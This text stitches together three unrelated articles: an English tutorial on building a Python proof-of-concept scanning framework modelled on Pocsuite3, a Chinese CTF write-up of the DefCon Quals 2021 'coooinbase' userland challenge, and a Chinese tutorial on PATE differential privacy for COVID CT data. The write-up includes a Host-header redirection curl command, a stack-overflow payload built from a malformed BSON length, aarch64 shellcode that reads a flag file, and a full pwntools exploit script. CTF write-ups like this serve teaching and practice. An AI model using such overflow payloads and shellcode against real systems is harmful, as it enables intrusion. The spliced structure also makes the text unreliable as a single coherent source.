Pocsuite3](https://paper.seebug.org/905/ "How to build your own PoC framework
- the use of Pocsuite3")**
In this article, I want to use Poscuite to implement my own PoC framework.
First of all, let's take a nice name, such as Captain America, Thor, Ant-Man
or Thanos. If you like playing Dota, you can also call it Mountain King,
BladeMaster, Priess Of the moon.
I call it AirPoc because I'm lazy.
The next step is to design its function. We can assume that there exists a
"rabbit security alliance". We plan to develop a blockchain-based PoC
verification framework named as AirPoc, which is only responsible for the
websites within "rabbit security alliance".
When one AirPoc node checks out the vulnerability point, the URL and the PoC
is shared via block, and then verfied by other random nodes. If the
verification succeed, the "air currency" can be obtained, and the detected
website owner needs to pay "air currency" as compensation.
First just imagine what kind of PoC framework we need:
1. Simple and cross-platform
2. Can make more people contribute
3. Easy to build into other software
4. High verfication speed and accuracy
5. I don't know what to include in the framework. But the first thing is to build a runable one!
Of course, I didn't add the blockchain, it's just a joke.
## Detail
We use python(3.7 the last version) as the programming language and decide not
to use third-party dependencies.
It is cool to make contribution to some open source projects like sqlmap,
Metasploit and Routersploit. So I decide to publish the AirPoc's PoC on Github
and then we can call the PoC via online API. That's cool!
It is also easier to integrate into other softwares. If it uses Python, you
can import AirPoC as a package. For other software, AirPoc designs the RPC
interface for them to call. Besides, if you don't have a Python environment,
you can also use`pyinstaller` to package it. Don't rely on other libraries is
our design principle, which will help to avoid many other problems.
To achieve high verification speed and high verification accuracy, we need to
build a concurrency model with multi-thread and coroutine, which I will
describe later.
## AirPoc's framework
Before we complete the plan, we also need to design code structure. As a
perfectionist programmer, the good code structure is the first step when
constructing a big project. We create the directory as following. , `env` is
the directory for managing packages in a virtual environment. `lib`is the
directory for storing related core files. `pocs` is the directory for storing
poc files, and a file `main .py` is used as the initial entry.
As building depends on its foundations, the basic framework is the base for
our future work. We don't need to write the specific functions, but should
understand "foundation" function. In the `main.py` file, an initial framework
is completed.
import os
import time
def banner():
msg = '''
___ _ _____ _____ _____ _____
/ | | | | _ \ | _ \ / _ \ / ___|
/ /| | | | | |_| | | |_| | | | | | | |
/ / | | | | | _ / | ___/ | | | | | |
/ / | | | | | | \ \ | | | |_| | | |___
/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}
'''.format(version)
print(msg)
def init(config: dict):
print("[*] target:{}".format(config["url"]))
def end():
print("[*] shutting down at {0}".format(time.strftime("%X")))
def start():
pass
def main():
banner()
config = {
"url": "https://www.seebug.org/"
}
init(config)
start()
end()
if __name__ == '__main__':
version = "v0.00000001"
main()
However, as you can see, the version number is as low as how much bitcoin in
my wallet, we need to add some material.
### Singleton
In the initialization stage of software engineering, we need to store a lot of
environment-related information. For example, what is the current execution
path, where is the PoC directory, where is the directory the output file
located and so on.
All those information has the same attribute. Those information should be
loaded once and then can be used directly without change. In the software
engineering, the "singleton" pattern, one pattern in software engineering,
fits that need very well.
Fortunately, the python module is a natural singleton, because when the code
is executed for the first time, it will generate the`.pyc` file for the future
use. Then the import of that module will use the previous file without extra
execution. Therefore, we only need to define related functions and data in a
module to get a singleton object.
We create a new `data.py` in the `lib` directory to store this information.
Also put the version information here.
import os
PATHS_ROOT = os.path.join(os.path.dirname(os.path.realpath(__file__)), "../")
PATHS_POCS = os.path.join(PATHS_ROOT, "pocs")
PATHS_OUTPUT = os.path.join(PATHS_ROOT, "output")
VERSION = "v0.0000001"
We use the PEP8 standard with uppercase and underscores to represent these
constants. To illustrate the difference from the previous one, we symbolically
reduce version number by a 0 to express our "bitcoin" and increased by 10
times.
### Dynamic module
After solving our delete related environmental problems, let's take a look at
how to dynamically load modules. As what we discuss before. we expect PoC to
be able to load from local or remote sites such as GitHub.
There are two cases here. If you load the module through the file path, you
can directly use `__import__ ()` to load. If you want to load remotely, it may
be more complicated. According to python related documents, we have to
implement the "Finder" and "Loader". <https://docs.python.org/en-us/3/reference/import.html>.
Of course, you can also use the local storage mode after saving from remote
websites. But we can use the loader code the PocSuite provided already.
Create a new `lib/loader.py` file
import hashlib
import importlib
from importlib.abc import Loader
def get_md5(value):
if isinstance(value, str):
value = value.encode(encoding='UTF-8')
return hashlib.md5(value).hexdigest()
def load_string_to_module(code_string, fullname=None):
try:
module_name = 'pocs_{0}'.format(get_md5(code_string)) if fullname is None else fullname
file_path = 'airpoc://{0}'.format(module_name)
poc_loader = PocLoader(module_name, file_path)
poc_loader.set_data(code_string)
spec = importlib.util.spec_from_file_location(module_name, file_path, loader=poc_loader)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
return mod
except ImportError:
error_msg = "load module '{0}' failed!".format(fullname)
print(error_msg)
raise
class PocLoader(Loader):
def __init__(self, fullname, path):
self.fullname = fullname
self.path = path
self.data = None
def set_data(self, data):
self.data = data
def get_filename(self, fullname):
return self.path
def get_data(self, filename):
if filename.startswith('airpoc://') and self.data:
data = self.data
else:
with open(filename, encoding='utf-8') as f:
data = f.read()
return data
def exec_module(self, module):
filename = self.get_filename(self.fullname)
poc_code = self.get_data(filename)
obj = compile(poc_code, filename, 'exec', dont_inherit=True, optimize=-1)
exec(obj, module.__dict__)
The detail of the implement is not what we should care about. We only need to
know that we can use `load_string_to_module` to load modules from the source
code. If you are interested in how that works, you can refer to the official
python documentation mentioned above.
## PoC's code format development
After loading the module, we can code for the operation. We need to set some
uniform convention for the PoC, thus the program can call them better.
The complexity of the PoC depends on the design structure we need, it can be
completed and detailed or as simple as possible.As mentioned earlier, in order
to protect the security of the "security alliance", we need PoC to be simpler
and faster to write.
At the same time, we also need to consider the case in which the PoC needs to
handle multiple parameters. My rules are defined as follows:
def verify(arg, **kwargs):
result = {}
if requests.get(arg).status_code == 200:
result = {
"name":"vulnerability name",
"url":arg
}
return result
Define a `verify` function in the PoC file for validation, arg as a normal
parameter, and receive from kwargs when more parameters need to be passed.
After the PoC verification succeed, we return a dictionary, otherwise return
`False` or `None`. The content of the dictionary can be designed by the PoC
writer with the author maximum flexibility.
Attention please! The quality of a PoC relies on the maintenance of the
author.
## V0.01
The ultimate goal we have to achieve is to set the target, and then the
program automatically loads the specified one or more PoCs or all PoCs, and
detects the targets one by one. The rest of our work is integrating these
functions together. We have already implemented the basic framework of AirPoc,
and now we only need to implement the functions on top of that.For the
convenience of testing, we first create two simple PoCs in the `pocs`
directory according to the previously defined rules.
Now,`main.py` code is
#!/usr/bin/env python3
# -*- coding: utf-8 -*- # @Time : 2019/4/25 3:13 PM
# @Author : w7ay
# @File : main.py
import os
import time
from lib.data import VERSION, PATHS_POCS, POCS
from lib.loader import load_string_to_module
def banner():
msg = '''
___ _ _____ _____ _____ _____
/ | | | | _ \ | _ \ / _ \ / ___|
/ /| | | | | |_| | | |_| | | | | | | |
/ / | | | | | _ / | ___/ | | | | | |
/ / | | | | | | \ \ | | | |_| | | |___
/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}
'''.format(VERSION)
print(msg)
def init(config: dict):
print("[*] target:{}".format(config["url"]))
# Load the poc, first traverse the path
_pocs = []
for root, dirs, files in os.walk(PATHS_POCS):
files = filter(lambda x: not x.startswith("__") and x.endswith(".py") and x not in config.get("poc", []),
files) # Filter out the __init__.py file and specify the poc file
_pocs.extend(map(lambda x: os.path.join(root, x), files))
# Load PoC according to the path
for poc in _pocs:
with open(poc, 'r') as f:
model = load_string_to_module(f.read())
POCS.append(model)
def end():
print("[*] shutting down at {0}".format(time.strftime("%X")))
def start(config: dict):
url_list = config.get("url", [])
# The loop url_list and pocs are executed one by one.
for i in url_list:
for poc in POCS:
try:
ret = poc.verify(i)
except Exception as e:
ret = None
print(e)
if ret:
print(ret)
def main():
banner()
config = {
"url": ["https://www.seebug.org/", "https://paper.seebug.org/"],
"poc": []
}
init(config)
start(config)
end()
if __name__ == '__main__':
main()
Our version has also come to 0.01, it is already a "mature" framework which
can run PoC on its
own.
## Multi-threaded
In order to make our framework run faster, we use multithreading to handle
each PoC, because most of the tasks we deal with are I/O intensive tasks, so
we don't have to worry about whether Python is a pseudo-thread.
The simplest of the multithreaded models is the producer/consumer model, which
starts multiple threads to consume a queue together. Create a new
`lib/threads.py`
import threading
import time
def exception_handled_function(thread_function, args=()):
try:
thread_function(*args)
except KeyboardInterrupt:
raise
except Exception as ex:
print("thread {0}: {1}".format(threading.currentThread().getName(), str(ex)))
def run_threads(num_threads, thread_function, args: tuple = ()):
threads = []
# Start multiple threads
for num_threads in range(num_threads):
thread = threading.Thread(target=exception_handled_function, name=str(num_threads),
args=(thread_function, args))
thread.setDaemon(True)
try:
thread.start()
except Exception as ex:
err_msg = "error occurred while starting new thread ('{0}')".format(str(ex))
print(err_msg)
break
threads.append(thread)
# Waiting for all threads to finish
alive = True
while alive:
alive = False
for thread in threads:
if thread.isAlive():
alive = True
time.sleep(0.1)
It's worth noting that we didn't use the `join()` recommended in the Python
thread to block the thread, because with `join()`, python will not be able to
respond to user-entered messages, causing Ctrl+C to exit. There is no
response, so the thread is blocked in a while loop.
Then the main program is transformed into a multi-threaded mode, and the
"consumer" in the original `start()` is extracted and used as a function
alone, and the data can be received by the queue. As follows:
def worker():
if not WORKER.empty():
arg, poc = WORKER.get()
try:
ret = poc.verify(arg)
except Exception as e:
ret = None
print(e)
if ret:
print(ret)
def start(config: dict):
url_list = config.get("url", [])
# producer
for arg in url_list:
for poc in POCS:
WORKER.put((arg, poc))
# comsumer
run_threads(10, worker)
In addition, the number of threads is configurable and we change it to read
from the configuration.
run_threads(config.get("thread_num", 10), worker)
Run it again and you will find it much faster than before!
## Network request
This is the last part of our entire framework, how to unify network requests.
Sometimes we need to make the settings of the proxy, UA header, etc. in the
network request sent by our PoC framework, which requires our framework to
handle it uniformly. Before we can achieve our goal, we also need to make an
agreement in the framework, agree that our network requests need to use
`requests` to send packets. At the beginning we said that we will try not to
use third-party modules, but the `requests` module is so good that we exclude
it...
The dynamic mechanism of the Python language, we can easily hook it before
using a function, and redirect its original method to our custom method, which
is a prerequisite for us to unify the network request.
def hello(arg):
return "hello " + arg
def hook(arg):
arg = arg.upper()
return "hello " + arg
hello = hook
print(hello("aa"))
By hooking a function to achieve our own purpose.
Tools like sqlmap are based on Python's built-in `urllib` module, but a lot of
code is being processed in network requests, and even to handle the `chunked`
issue, hooks rewrite the lower-level `httplib` library.
In order to uniformly schedule network requests, pocsuite hooks the related
methods of the `requests` module. We can refer to the code in detail.
The `pocsuite3/lib/request/patch/__init__.py` code clearly illustrates the
hook function.
from .remove_ssl_verify import remove_ssl_verify
from .remove_warnings import disable_warnings
from .hook_request import patch_session
from .add_httpraw import patch_addraw
from .hook_request_redirect import patch_redirect
def patch_all():
disable_warnings()
remove_ssl_verify()
patch_session()
patch_addraw()
patch_redirect()
If you look at the source of the requests, you will know that the focus is on
how it hooks the seesion function.
`pocsuite3/lib/request/patch/hook_request.py`
from pocsuite3.lib.core.data import conf
from requests.models import Request
from requests.sessions import Session
from requests.sessions import merge_setting, merge_cookies
from requests.cookies import RequestsCookieJar
from requests.utils import get_encodings_from_content
def session_request(self, method, url,
params=None, data=None, headers=None, cookies=None, files=None, auth=None,
timeout=conf.timeout if 'timeout' in conf else None,
allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):
# Create the Request
merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),
cookies or (conf.cookie if 'cookie' in conf else None))
req = Request(
method=method.upper(),
url=url,
headers=merge_setting(headers, conf.http_headers if 'http_headers' in conf else {}),
files=files,
data=data or {},
json=json,
params=params or {},
auth=auth,
cookies=merged_cookies,
hooks=hooks,
)
prep = self.prepare_request(req)
proxies = proxies or (conf.proxies if 'proxies' in conf else {})
settings = self.merge_environment_settings(
prep.url, proxies, stream, verify, cert
)
# Send the request.
send_kwargs = {
'timeout': timeout,
'allow_redirects': allow_redirects,
}
send_kwargs.update(settings)
resp = self.send(prep, **send_kwargs)
if resp.encoding == 'ISO-8859-1':
encodings = get_encodings_from_content(resp.text)
if encodings:
encoding = encodings[0]
else:
encoding = resp.apparent_encoding
resp.encoding = encoding
return resp
def patch_session():
Session.request = session_request
It overrides the method of the `session_request` function, which allows you to
customize the information such as our custom headers. The above code may
require you to read the requests to understand him, but it doesn't matter, we
can use it directly in the spirit of takership.
In order to achieve this and better optimize the framework, we also need to
make some minor adjustments.
Create a new `lib/requests.py`
from lib.data import CONF
from requests.models import Request
from requests.sessions import Session
from requests.sessions import merge_setting, merge_cookies
from requests.cookies import RequestsCookieJar
from requests.utils import get_encodings_from_content
def session_request(self, method, url,
params=None, data=None, headers=None, cookies=None, files=None, auth=None,
timeout=None,
allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):
# Create the Request.
conf = CONF.get("requests", {})
if timeout is None and "timeout" in conf:
timeout = conf["timeout"]
merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),
cookies or (conf.cookie if 'cookie' in conf else None))
req = Request(
method=method.upper(),
url=url,
headers=merge_setting(headers, conf["headers"] if 'headers' in conf else {}),
files=files,
data=data or {},
json=json,
params=params or {},
auth=auth,
cookies=merged_cookies,
hooks=hooks,
)
prep = self.prepare_request(req)
proxies = proxies or (conf["proxies"] if 'proxies' in conf else {})
settings = self.merge_environment_settings(
prep.url, proxies, stream, verify, cert
)
# Send the request.
send_kwargs = {
'timeout': timeout,
'allow_redirects': allow_redirects,
}
send_kwargs.update(settings)
resp = self.send(prep, **send_kwargs)
if resp.encoding == 'ISO-8859-1':
encodings = get_encodings_from_content(resp.text)
if encodings:
encoding = encodings[0]
else:
encoding = resp.apparent_encoding
resp.encoding = encoding
return resp
def patch_session():
Session.request = session_request
Also reserve the request interface in config
And execute our hooks when init.
Let's write a new PoC and use this site to test the final effect
<http://www.httpbin.org/get>
`pocs/poc.py`
import requests
def verify(arg, **kwargs):
r = requests.get(arg)
if r.status_code == 200:
return {"url": arg, "text": r.text}
The effect is very good, but if you add https website, there is a warning
message.
Also refer to the Pocsuite method to disable the warning information.
from urllib3 import disable_warnings
disable_warnings()
Finally, change the version number to `0.1`, and the framework part of AirPoc
is generally completed.
## At last
Many of AirPoc's structural ideas are come from Pocsuite. If you read Pocsuite
directly, you may get a lot of things. At present, the AirPoc v0.1
infrastructure has been almost completed, and one or more PoCs can be loaded
locally for batch testing. Later, we are trying to play some more fun,eg: how
to verify the situation without echo, how to generate shellcode, and how to
operate the shell back, so stay tuned for the next section~zzzzz.
Download AirPoc: <https://images.seebug.org/archive/airpoc.zip>
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# PWN掉一款小型开源OS——用户态利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目来源于DefCon Quals
2021的coooinbase二连pwn，第一部分是用户空间利用，第二部分是内核利用。本篇文章是coooinbase用户态pwn的解题思路。
在Github上找到对应源码
这是一款极其精简的的OS，没有shell，甚至只实现了有限的几个系统调用，包括open、read、write等。在`coooinbase.bin`这个内核基础上，再跑着一个用户态进程`run`，以下是关于`run`这个用户态进程的pwn
## Ruby源码审计
给了以下几个文件，执行`ruby x.rb`启动题目环境
解压文件系统
mkdir /tmp/dos
sudo mount -o loop ./rootfs.img /tmp/dos
file /tmp/dos/bin
/tmp/dos/bin: PDP-11 kernel overlay
cat /tmp/dos/flg
OOO{this_is_from_userland}
x.rb，会对输入的`credit_card`进行校验，看下是否valid，可用`4485-7873-4804-0088`通过检查
通过POST方法`/gen-bson`获取`cvv`、`expmonth`、`expyear`、`cardnumber`参数，序列化成bson数据，最后转成base64。但是，bson只能接受`0x0~0x7f`的utf-8数据，超出这个范围的byte数据会导致没法通过x.rb的check，这为后续构造rop带来困难。
将bson数据传给`/buy`这个POST方法，注意到`http://#{env['HTTP_HOST']}/gen-bson`的访问是通过`HTTP_HOST`参数，也就是能通过http header的`Host`参数去设置URI.parse的链接
现在转而向我们搭建的http server去获取`gen-bson`这个文件或者接口，这样便能绕过bson序列化，直接将任意byte的base64数据喂给`x.sh`
curl -X POST -d "cvc=123" http://localhost:4567/buy -H "Host: localhost:8080"
## 静态分析
导入Ghidra，Language选择aarch64小端
读取喂入的base64数据，最多读512 bytes，然后base64 decode
获取base64
decode后的bson数据，将bson数据复制到`payload_start`，分别获取bson的`CVC`、`MON`、`YR`、`CC`键值，其中`CC`是str类型，其余为num类型，最后输出`CC`的str内容
`process_cc`里有一处`strcpy`栈溢出，直接将`CC`字符串拷贝到栈上。由于栈空间是根据`CC`字符串串长度来动态扩展，下面需要分析bson数据结构。
## BSON数据结构
接下来分析一下bson数据结构，通过以下脚本生成bson序列化数据
import bson
obj = {
'CVC': 1111,
'MON': 11,
'CC': "AAAAAAAAAAAAAAAAAAAAAA",
'YR': 1111
}
bs = bson.dumps(obj)
print(hexdump(bs))
bson数据有几个重要结构：
1.开始的4个byte，表示整个bson数据的总长度；
2.`\x10`、`\x02`表示这个key对应存放的是num、str类型的数据；
3.key和value之间用`\x00`分隔；
4.str类型的数据，有一个额外4个byte的数值指示value的长度。
现在便可构造bson数据结构，bson结构最后有个`\x00`，需要先去掉。然后拼接上`CC`结构，`CC`长度为`字符串长度+1`，最后1
byte为`\x00`。另外，bson结构结束符为`\x00`，需要在最后补上。注意，`CVC`是信用卡的后三码，这里指定为三位数字。
obj = {
'CVC': 111,
'MON': 11,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x17)
bs += b'C'*22 + b'\x00'
bs += b'\x00'
#print(hexdump(bs))
print(b64e(bs)+' ')
## Debug
编辑`x.sh`，增加`-s -S`参数，开启调试接口并在内核启动时挂起
qemu-system-aarch64 -s -S -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly
现将`AAAAA...`串的base64存到payload文件，执行`./x.sh < payload`喂入数据
userland程序装载地址为`0x0`
喂入构造好的bson base64数据`python solve.py |
x.sh`，断在strcpy处。现在程序将`AAAAAAA...`串拷贝到process_cc栈上
但此处的栈会根据bson
`CC`结构里的4个byte长度去动态扩展栈空间，因而没法溢出到返回地址`0xf958`。但我们可以通过修改这4个byte长度结构去绕过，给出一个较小的长度与一个较长的字符串，便能覆盖`process_cc`的返回地址
返回地址已被覆盖为`AAAAAAAA`
成功劫持了PC
## Hijack to ORW
由于OS内核并没有PIE、NX、Canary等保护，可以跳回栈上执行shellcode。同时，OS并未实现`execve`等pop
shell系统调用，只能通过orw读flag。
shellcode = '''ldr x0,=0x676c662f // /flg
mov x1, 0x0 // open mode
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340 // SYS_open
blr x5
mov x1, 0xf940 // buf
mov x2, 0x36 // size
mov x5, 0x34c // SYS_read
blr x5
mov x0, 0xf940 // buf
mov x5, 0x310 // SYS_write
blr x5'''
`strcpy`对`\x00`截断，需要找另外一处存放有shellcode的内存空间
注意到main方法中的base64_decode会将decode后的bson数据存放到一个栈地址上，返回到此处就行
shellcode布置在`0xfc46`
将`process_cc`返回地址覆盖为`0xfc46`
get flag~
## Script
完整EXP
from pwn import *
import bson
context.arch = 'aarch64'
obj = {
'CVC': 111,
'MON': 11,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x18)
bs += p64(0xfc46)#ret addr
shellcode = '''ldr x0,=0x676c662f // /flg
mov x1, 0x0 // open mode
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340 // SYS_open
blr x5
mov x1, 0xf940 // buf
mov x2, 0x36 // size
mov x5, 0x34c // SYS_read
blr x5
mov x0, 0xf940 // buf
mov x5, 0x310 // SYS_write
blr x5'''
payload = asm(shellcode)
bs += payload + b'\x00'
bs += b'\x00'
#print(hexdump(bs))
print(b64e(bs)+' ') | 社区文章 |
# 差分隐私实战-以保护新冠数据隐私为例
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
技术的发展是为人类创造更美好的世界。
随着AI技术的进步，攻击AI的技术也越来越多，包括对抗样本、后门攻击等，这些是针对模型安全而言的，在数据层面，攻击者甚至可以通过攻击窃取训练集中的个人隐私数据，为此，安全研究人员提出将差分隐私应用于AI，以保护AI的训练集中样本的隐私；在另一方面，借助差分隐私技术也可以促进各方的交流，避免数据孤岛。在本文中，我们将以设想的新冠疫情下医院之间互助的场景为例，通过实战介绍PATE技术在利用AI赋能医疗行业的同时保护患者个人隐私。
## 场景
由于新冠疫情的流行，由大量的病人拍摄的CT等待被医生分析、诊断，我们尝试在自己的医院里创建一个二分类的图像分类器，可以根据CT图像判断病人的是否得了新冠（阳性或阴性）。但是我们的CT图像是没有标记的，这意味着不能做监督学习。而有5家医院有有标记的数据（医生已经看过CT并给出结论了），并且愿意帮助我们这家医院，可是如果直接把这些数据分享给我们，会侵犯病人的隐私，同时可能违反一些数据保护相关的法律法规。此时我们的目标是在为我们医院构建深度学习模型的同事，保护这5家医院的隐私，那么具体该怎么做呢？
## 背景知识
我们用到称为差分隐私的方法。什么是差分隐私呢？
差分隐私确保统计分析不会损害隐私。它确保个人的数据对整个模型输出的影响是有限的。换句话说，不论是否包括数据集中特定个体的数据，算法的输出几乎是相同的。
如上图所示，John 的信息出现在第一个数据集中，不在第二个数据集中，但是模型输出是相同的，所以想要获得 John 的数据的对手不能确定数据集中是否存在
John，更不用说数据的内容了。因此，John的隐私得到了保障。
差分隐私通常通过在模型或统计查询的输入层(本地差分隐私)或输出层(全局差分隐私)添加统计噪声来工作。增加的噪声保证了个人对决策结果的贡献被隐藏起来，但在不牺牲个人隐私的情况下获得了对整体的深入了解。
噪声的大小取决于一个称为privact budget(隐私预算)的参数，这个参数通常用ε表示。ε的值越小(即添加的噪声越多)
，它提供的隐私就越高，反之亦然。如下图所示，我们可以看到，随着越来越多的噪声被添加到脸部图像，它得到的匿名信息越多，但它变得越来越不可用。因此，选择正确的ε值非常重要，需要在可用性与隐私之间做好权衡。
在本文中我们使用的隐私方法叫做PATE(Private Aggregation of Teacher Ensembles)。
PATE的工作流程如下：
首先在不相交的训练集上分别训练得到几个模型，称为教师模型。然后将一个输入交给这些教师模型预测，教师模型预测得到各自的类标签，最终以所以教师模型输出的总和作为最终的预测类。不过这一步会分为两种情况：1.如果所有或者大多数教师模型的预测都是相同的，那么最终应该输出什么类就很容易知道了。这意味着不会泄露任何单个训练样本的私有信息，因为如果从某个数据集中删除任何训练样本，不会影响模型最后的输出。在这种情况下，privacy
budget很低，算法满足差分隐私；2.如果各个教师模型给出的预测不一致，则privacy
budget很高，这会让最终应该给出什么预测变得不那么直接，并最终导致隐私泄露。为了解决这个问题，我们可以使用Report Noisy
Max(RNM算法)，它会在每个模型的输出中添加随机噪声。通过这种方法可以提供一种强力的隐私保护。这种情况下，算法满足了完全意义下的差分隐私。
但是PATE不限于此，它还额外增加了隐私。可能有些人会觉得将教师模型聚合在一起用于推理就可以了，但是这是不行的，原因有两点：
1.每次我们做出预测，privacy budget就会增加，所以迟早都会达到一个点，那时候隐私是一定会泄露的
2.通过多次查询，攻击者可以获取教师模型的训练数据，这时隐私也完全泄漏了
所以我们不能简单的聚合，而需要创建一个学生模型。学生模型使用的训练集是没有标签的（如场景部分中提到的我们的医院），我们把训练集中的数据交给教师模型来预测，通过教师模型打标签，一旦打上标签，教师模型就可以被丢弃了。此时学生模型已经可以训练了，训练完毕后它实际上从教师模型中学习了有价值的信息。最重要的是，privacy
budget不会随着学生模型每次查询而增加，而且在最坏的情况下，攻击者只能得到教师模型给出的带噪声的标签。
## 场景应用
回到我们的场景中来，我们希望为自己的医院训练一个分类器，用于判断病人是否患了新冠。我们只有一些未标记的CT图像，现在需要其他5家医院的数据来标记你的数据集，但是出于隐私原因，我们不能直接访问那5家医院的数据。在聊了上一节的知识后，我们决定按照如下步骤进行处理：
1.让这5家医院各自在自己的数据集上训练模型，完成这一步后，得到了5个教师模型
2.使用这5个教师模型，为我们医院的每张CT图像生成5个标签
3.为了保护教师训练集的隐私，可以对生成的标签应用RNM算法。对于每张CT图像，我们获得生成的5个标签中最频繁的标签，然后添加噪声实现差分隐私
4.使用带噪声的标签训练学生模型（我们医院自己的模型），将其部署在自己的医院中用于诊断。
## 数据集
没有多少开源数据集可以用于新冠病毒诊断，为了保护患者隐私，获取这些数据集是不容易的。不过github上开源了一部分，地址在这里：https://github.com/UCSD-AI4H/COVID-CT，中国武汉同济医院的一位高级放射科医生已经证实了该数据集的实用性。
在Images_Processed文件夹下有两个文件夹，分别是COVID和Non-COVID,对应存放的是确诊有新冠的和没有新冠的片子。在Data_Split文件夹下是图像的标签。为了后续编程方便，可以将Image_Processe和Data_Split分别改为Image,labels
## 创建数据集
在labels文件夹下同样可以看到COVID和Non-COVID，每个子文件下都有test _,train_ ,val，分别是测试集、训练集、验证集。
现在我们要模拟的场景是教师模型有私有数据（打上标签的），学生只有公开的没有标签的数据，所以我们可以将这里的训练集作为教师模型的新联数据集，将测试集作为学生模型的训练数据集，然后使用验证集来分别测试学生模型和正常模型（不通过差分隐私训练得到的模型）的性能。
首先创建一个自定义的dataset loader,创建数据转换，并最终加载数据
在成功加载数据后，可以可视化部分样本
我们现在可以继续在5家医院之间划分训练集。5家医院，对应着5个教师模型，这里需要注意，数据集必须是不相交的，也就是说，任何2个数据集都不应该有重叠的训练样本。前面已经说过，差分隐私中，如果个人的数据被从数据集中删除，数据集的输出仍然是相同的，以为个人对数据集没有贡献。如果有某一个人的副本，即使删除其中的一个副本，个人的数据仍然有助于输出，这样就无法保护个人隐私。
所以在将训练集划为5个子集时，我们必须非常谨慎。
下面的代码就是在5个教师模型或者说5个医院之间划分我们的训练集，并为每一个教师模型创建训练集dataloader和验证集dataloader。
现在对于教师模型来说，有5个trainloader,5个validloader；接着我们为学生模型（我们自己的医院）创建trainloader,validloader
## 训练教师模型
首先训练教师模型，5家医院会在不相交的数据集中训练得到5个不同的模型
首先定义一个简单的CNN模型
然后如下定义我们的训练代码
定义超参数，我们使用交叉熵损失CrossEntropyLoss和Adam优化器。
每个教师模型训练50个epoch
然后开始训练教师模型
## 获取学生标签
在训练完成之后，我们得到了5个教师模型，使用这5个模型为学生模型生成标签。这5个模型中的每个模型都会为我们（学生）数据集中的每张图片生成标签。换句话说，对于学生模型的数据集来说，其中的每张图片都有5个生成的标签。
(163,5)的意思是说，在学生模型的数据中有163个训练样本，5个教师模型为每个样本生成了5个标签。第三张CT图片的预测标签为5个1，说明5个教师模型都认为这是新冠阳性。如果是[1,1,1,0,0]则表示两个教师模型认为这是阴性，三个教师模型认为这是阳性，此时我们以多数原则为依据，认为这是阳性。
## 添加拉普拉斯噪声
我们在模型训练之后添加被广泛使用的拉普拉斯噪声，这可以保证不会泄露超过的信息。我们定义了add_noise，其将预测的标签和值作为输入，我们可以使用控制添加的噪声量
我们把这些标签保存下来就可以了，训练好的教师模型已经用不到了
## PATE分析
我们知道，这些标签实际上是来自于私人信息的，所以这些新标签中可能包含一定数量的泄露信息。泄露的信息量在很大程度上取决于添加的噪声量，这是由决定的。所以选择合适的很重要，我们可以使用PATE进行分析。它实际上可以告诉我们，如果发布这些标签，会有多少信息通过这些标签泄露。
我们使用perform_analysis方法，以所有教师模型的预测标签列表和我们刚刚计算的带噪声的新标签作为输入，并返回两个值：data_dep_eps,data_ind_eps，分别表示数据相关的和数据无关的。Perform_analysis目的在于告诉我们教师模型之间的一致性水平。data_ind_eps的表示在最坏情况下可能泄露的最大信息量，而data_dep_eps的表示教师模型的决策的一致性程度。一个小的data_dep_eps的表明，教师模型的预测具有很高的一致性，并且浙西模型没有记忆私人信息（过度拟合）。因此，小的data_dep_eps的表示较小的隐私泄漏率。在试验了不同的值以及noise_eps变量后，我们设=0.1,得到的结果如下
可以看到，我们得到的data_dep_eps的是15.536462732485106，data_ind_eps的是15.536462732485116
## 训练学生模型
现在已经从教师模型那里得到了带噪声的标签，现在就可以开始训练了。在训练之前需要用来自教师模型的新标签替换掉旧的学生的dataloader（其中包含着我们下载数据集的时候附带的原始标签，当然，在实际情况下我们是不可能有原始标签的，所以实际中是没有这一步的）
接着训练学生模型。我们使用换成新标签的trainloader进行训练，并使用validloader的数据集评估模型的性能。我们使用和教师模型相同的CNN架构以及超参数。
同时再训练一个使用原始标签的trainloader的数据的模型
注意，这两个模型只有所用的数据集的标签是不同的
训练完成后，在测试集上比较这两个模型的性能
